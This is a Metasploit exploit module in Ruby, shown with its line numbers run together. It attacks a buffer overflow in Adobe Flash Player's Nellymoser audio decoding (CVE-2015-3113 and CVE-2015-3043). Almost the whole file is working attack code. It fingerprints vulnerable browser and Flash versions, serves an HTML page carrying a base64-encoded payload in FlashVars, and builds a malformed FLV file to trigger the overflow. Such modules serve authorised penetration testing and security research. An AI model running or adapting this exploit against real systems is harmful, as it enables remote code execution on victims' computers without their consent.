Path: blob/master/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser17encoded audio inside a FLV video, as exploited in the wild on June 2015. This module18has been tested successfully on:1920Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,21Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,22Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,23Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and24Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.2526Note that this exploit is effective against both CVE-2015-3113 and the27earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression28to the same root cause as CVE-2015-3043.29},30'License' => MSF_LICENSE,31'Author' => [32'Unknown', # Exploit in the wild33'juan vazquez' # msf module34],35'References' => [36['CVE', '2015-3043'],37['CVE', '2015-3113'],38['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],39['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],40['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],41['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],42['URL', 'http://bobao.360.cn/learning/detail/357.html']43],44'Payload' => {45'DisableNops' => true46},47'Platform' => ['win', 'linux'],48'Arch' => [ARCH_X86],49'BrowserRequirements' => {50:source => /script|headers/i,51:arch => ARCH_X86,52:os_name => lambda do |os|53os =~ OperatingSystems::Match::LINUX ||54os =~ OperatingSystems::Match::WINDOWS_7 ||55os =~ OperatingSystems::Match::WINDOWS_8156end,57:ua_name => lambda do |ua|58case target.name59when 'Windows'60return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF61when 'Linux'62return true if ua == Msf::HttpClients::FF63end6465false66end,67:flash => lambda do |ver|68case target.name69when 'Windows'70return true if ver =~ /^18\./ && Rex::Version.new(ver) <= Rex::Version.new('18.0.0.161')71return true if ver =~ /^17\./ && Rex::Version.new(ver) != Rex::Version.new('17.0.0.169')72when 'Linux'73return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.2.202.466') && Rex::Version.new(ver) != Rex::Version.new('11.2.202.457')74end7576false77end78},79'Targets' => [80[81'Windows',82{83'Platform' => 'win'84}85],86[87'Linux',88{89'Platform' => 'linux'90}91]92],93'Privileged' => false,94'DisclosureDate' => '2015-06-23',95'DefaultTarget' => 0,96'Notes' => {97'Reliability' => UNKNOWN_RELIABILITY,98'Stability' => UNKNOWN_STABILITY,99'SideEffects' => UNKNOWN_SIDE_EFFECTS100}101)102)103end104105def exploit106@swf = create_swf107@flv = create_flv108109super110end111112def on_request_exploit(cli, request, target_info)113print_status("Request: #{request.uri}")114115if request.uri =~ /\.swf$/116print_status('Sending SWF...')117send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache' })118return119end120121if request.uri =~ /\.flv$/122print_status('Sending FLV...')123send_response(cli, @flv, { 'Content-Type' => 'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache' })124return125end126127print_status('Sending HTML...')128send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })129end130131def exploit_template(cli, target_info)132swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"133target_payload = get_payload(cli, target_info)134b64_payload = Rex::Text.encode_base64(target_payload)135os_name = target_info[:os_name]136137if target.name =~ /Windows/138platform_id = 'win'139elsif target.name =~ /Linux/140platform_id = 'linux'141end142143html_template = %Q|<html>144<body>145<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />146<param name="movie" value="<%=swf_random%>" />147<param name="allowScriptAccess" value="always" />148<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />149<param name="Play" value="true" />150<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>151</object>152</body>153</html>154|155156return html_template, binding()157end158159def create_swf160path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')161swf = ::File.open(path, 'rb') { |f| swf = f.read }162163swf164end165166def create_flv167header = ''168header << 'FLV' # signature169header << [1].pack('C') # version170header << [4].pack('C') # Flags: TypeFlagsAudio171header << [9].pack('N') # DataOffset172173data = ''174data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0175data << "\xee" * 0x440 # SoundData176177tag1 = ''178tag1 << [8].pack('C') # TagType (audio)179tag1 << "\x00\x04\x41" # DataSize180tag1 << "\x00\x00\x1a" # TimeStamp181tag1 << [0].pack('C') # TimeStampExtended182tag1 << "\x00\x00\x00" # StreamID, always 0183tag1 << data184185body = ''186body << [0].pack('N') # PreviousTagSize187body << tag1188body << [0xeeeeeeee].pack('N') # PreviousTagSize189190flv = ''191flv << header192flv << body193194flv195end196end197198199